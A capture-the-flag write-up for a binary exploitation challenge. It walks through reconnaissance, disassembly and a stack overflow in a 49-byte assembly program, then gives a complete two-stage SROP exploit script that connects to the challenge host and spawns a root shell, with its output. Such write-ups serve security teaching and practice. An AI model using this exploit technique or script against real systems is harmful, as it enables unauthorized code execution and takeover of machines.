Flag: P2P{Cm0n_Dud3_1_Th0uGHt_1_d1D_4_g0oD_J0b}
Category: Binary exploitation (pwn)
Target: 34.63.108.139:4852
Binary: 1778608923_chall
Solved: 2026-05-30
Challenge description:
I decided to teach myself how to write Assembly, I made my first ever binary and it actually works!!!
1. Recon
$ file 1778608923_chall
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$ wc -c 1778608923_chall
4424
A tiny, hand-written, statically-linked, stripped executable — exactly matching the "first ever binary in Assembly" hint.
Program headers reveal a minimal layout (no PIE — fixed load addresses):
| Segment | VAddr | Size | Perms |
|---|---|---|---|
.text |
0x401000 |
0x31 |
R-X |
.bss (page) |
0x402000 |
0x1f8 (segment memsz 0x1000) |
RW |
GNU_STACK |
— | — | RW (NX stack) |
So we have: no PIE, a non-executable stack, no libc, and only 49 bytes of code.
2. Disassembly
0000000000401000 <_setup>: ; sets up read() syscall args, returns rax=0
401000: bf 00 00 00 00 mov edi, 0x0 ; fd = 0 (stdin)
401005: ba e8 03 00 00 mov edx, 0x3e8 ; count = 1000
40100a: 6a 00 push 0x0
40100c: 58 pop rax ; rax = 0 (SYS_read) <-- "pop rax ; ret" gadget
40100d: c3 ret
0000000000401013 <_read>:
40100e: e8 ed ff ff ff call 0x401000 ; set up read args
401013: 48 89 e6 mov rsi, rsp ; rsi = rsp
401016: 48 81 ee c8 00.. sub rsi, 0xc8 ; rsi = rsp - 0xc8 (buffer)
40101d: 0f 05 syscall ; read(0, rsp-0xc8, 1000) <-- "syscall ; ret" gadget
40101f: c3 ret
0000000000401020 <_start>: ; ENTRY POINT
401020: e8 e9 ff ff ff call 0x40100e ; do the read
401025: b8 3c 00 00 00 mov eax, 0x3c ; SYS_exit
40102a: bf 00 00 00 00 mov edi, 0x0
40102f: 0f 05 syscall ; exit(0)
The program simply does read(0, rsp-0xC8, 1000) then exit(0).
3. The vulnerability — stack buffer overflow
Trace the stack pointer (R = rsp at entry):
| Step | Action | rsp |
|---|---|---|
| entry | — | R |
call 0x40100e |
push ret 0x401025 |
R-8 |
call 0x401000 |
push ret 0x401013 |
R-16 |
push 0; pop rax; ret |
balanced, returns | R-8 |
mov rsi,rsp; sub rsi,0xC8 |
buffer = R-0xD0 |
R-8 |
syscall |
read(0, R-0xD0, 1000) |
R-8 |
ret (0x40101f) |
pops [R-8] into RIP |
R |
The buffer starts at R-0xD0. The return address consumed by the ret at 0x40101F
lives at R-8, i.e. offset 0xD0 - 8 = 0xC8 = 200 into the buffer. The read accepts
1000 bytes → we fully control RIP and everything after it.
Confirmed empirically:
$ printf 'AAAAAAAA' | ./1778608923_chall ; echo $? # 8 bytes -> clean exit 0
$ python3 -c "print('A'*250)" | ./1778608923_chall ; echo $? # 250 bytes -> 139 (SIGSEGV)
4. Exploitation strategy — two-stage SROP
Constraints kill the usual approaches:
- NX stack → no shellcode-on-stack.
- No libc, static → no ret2libc /
one_gadget. - 49 bytes of code → no
pop rdi/pop rsi/pop rdxgadgets to set syscall args.
But the binary gives us exactly the two primitives needed for Sigreturn-Oriented Programming (SROP):
pop rax ; ret@0x40100C(bytes58 c3)syscall ; ret@0x40101D(bytes0f 05 c3)
With RAX control + a syscall, we can invoke rt_sigreturn (rax=15), which restores
every register (RIP, RSP, RDI, RSI, RDX, RAX, …) from a fake signal frame we place on
the stack. That gives full register control with no register-specific gadgets.
We still need the string "/bin/sh" at a known address. The stack address is unknown
(ASLR), but .bss is at the fixed address 0x402000 (no PIE) and is a full RW page
(0x402000–0x403000). So:
Stage 1 — SROP → read into .bss + stack pivot
Overflow drives a sigreturn that sets up:
read(0, 0x402000, 0x400), RIP = syscall;ret, and RSP = 0x402000.
After the read, the trailing ret pops its next "return address" from .bss — which we
just filled — pivoting the ROP chain into .bss.
Stage 2 — SROP → execve("/bin/sh", argv, NULL)
The data read into .bss lays out a second SROP chain:
pop rax(=15) ; syscall → sigreturn → execve with
RDI = &"/bin/sh", RSI = &argv, RDX = 0, RIP = syscall;ret.
Both "/bin/sh" and the argv = ["/bin/sh", NULL] array are placed at fixed .bss
offsets (0x402200, 0x402300).
Control-flow chain
read#1 overflow ─▶ ret ─▶ pop rax(=15) ─▶ syscall(sigreturn)
└▶ [frame1] read(0, .bss, 0x400); RSP=.bss; RIP=syscall;ret
└▶ (read#2 fills .bss) ─▶ ret ─▶ pop rax(=15) ─▶ syscall(sigreturn)
└▶ [frame2] execve("/bin/sh", argv, 0) ─▶ root shell
Reliability note
read#1's count is 1000, so payload1 is padded to exactly 1000 bytes. This guarantees
the first read consumes precisely payload1 and cannot bleed into the second read,
regardless of TCP/pipe buffering — making the two-stage delivery deterministic.
5. Exploit
Pure-stdlib version (no pwntools needed; hand-built amd64 rt_sigreturn frame):
#!/usr/bin/env python3
import sys, socket, struct, subprocess, time, select
POP_RAX = 0x40100c # pop rax ; ret
SYSCALL_RET = 0x40101d # syscall ; ret
BSS = 0x402000
SYS_READ, SYS_EXECVE, SYS_RT_SIGRETURN = 0, 59, 15
binsh_addr, argv_addr = BSS + 0x200, BSS + 0x300
def p64(x): return struct.pack('<Q', x & (2**64-1))
def sigframe(rax=0, rdi=0, rsi=0, rdx=0, rip=0, rsp=0, rbp=0):
fr = bytearray(0xf8)
def setq(off, val): fr[off:off+8] = p64(val)
# sigcontext starts at frame+0x28
setq(0x28+0x40, rdi); setq(0x28+0x48, rsi); setq(0x28+0x50, rbp)
setq(0x28+0x60, rdx); setq(0x28+0x68, rax); setq(0x28+0x78, rsp)
setq(0x28+0x80, rip); setq(0x28+0x88, 0x202) # eflags
setq(0x28+0x90, 0x33 | (0x2b << 48)) # cs=0x33, ss=0x2b
return bytes(fr)
f1 = sigframe(rax=SYS_READ, rdi=0, rsi=BSS, rdx=0x400, rip=SYSCALL_RET, rsp=BSS)
p1 = (b'A'*200 + p64(POP_RAX) + p64(SYS_RT_SIGRETURN) + p64(SYSCALL_RET) + f1).ljust(1000, b'\x00')
f2 = sigframe(rax=SYS_EXECVE, rdi=binsh_addr, rsi=argv_addr, rdx=0, rip=SYSCALL_RET)
p2 = (p64(POP_RAX) + p64(SYS_RT_SIGRETURN) + p64(SYSCALL_RET) + f2).ljust(0x200, b'\x00')
p2 = (p2 + b'/bin/sh\x00').ljust(0x300, b'\x00') + p64(binsh_addr) + p64(0)
CMD = b'echo PWNED_$(id); echo ===FLAG===; cat flag* /flag* 2>/dev/null; ls -la\n'
s = socket.create_connection(('34.63.108.139', 4852), timeout=10)
s.sendall(p1); time.sleep(0.4)
s.sendall(p2); time.sleep(0.4)
s.sendall(CMD); time.sleep(1.0)
# ... then read/interact with the socket
(Full local+remote runner saved as ~/Downloads/exploit_raw.py; a pwntools SigreturnFrame
equivalent is ~/Downloads/exploit.py.)
amd64 rt_sigreturn frame layout (offsets from where RSP points at the sigreturn syscall)
+0x00 uc_flags
+0x08 uc_link
+0x10 uc_stack (ss_sp, ss_flags, ss_size)
+0x28 sigcontext begins:
+0x28 r8 +0x30 r9 +0x38 r10 +0x40 r11 +0x48 r12 +0x50 r13
+0x58 r14 +0x60 r15 +0x68 rdi +0x70 rsi +0x78 rbp +0x80 rbx
+0x88 rdx +0x90 rax +0x98 rcx +0xa0 rsp +0xa8 rip +0xb0 eflags
+0xb8 cs|gs<<16|fs<<32|ss<<48 (cs=0x33, ss=0x2b)
+0xe0 &fpstate (0 = skip FP restore)
6. Result
$ python3 exploit_raw.py remote
PWNED_uid=0(root) gid=0(root) groups=0(root)
===FLAG===
P2P{Cm0n_Dud3_1_Th0uGHt_1_d1D_4_g0oD_J0b}
total 76
-rwxr-xr-x 1 root root 4424 chall
-rw-r--r-- 1 root root 344 chall.asm
-rwxr-xr-x 1 root root 133 compile.sh
-rw-r--r-- 1 root root 42 flag.txt
-rwxr-xr-x 1 root root 18744 ynetd # service wrapper
Shell as root; flag.txt →
P2P{Cm0n_Dud3_1_Th0uGHt_1_d1D_4_g0oD_J0b}
The directory confirmed the source was a hand-written chall.asm built by compile.sh and
exposed over the network via ynetd — and the flag itself ("C'mon Dude, I thought I did a
good job") is a wink at the author's buggy first binary.
7. Takeaways
- A
readinto a stack buffer with a too-large count + the saved return address at a small fixed offset = classic overflow; here the offset is0xC8 = 200. - When NX + no libc + almost no gadgets defeat shellcode and ret2libc, SROP turns a single
pop rax/syscallpair into arbitrary register control. - A non-PIE binary's
.bssis a reliable, fixed scratch space to stage"/bin/sh"and pivot into a second SROP — no infoleak required. - Padding stage-1 to the exact read length removes delivery races across pipes/sockets.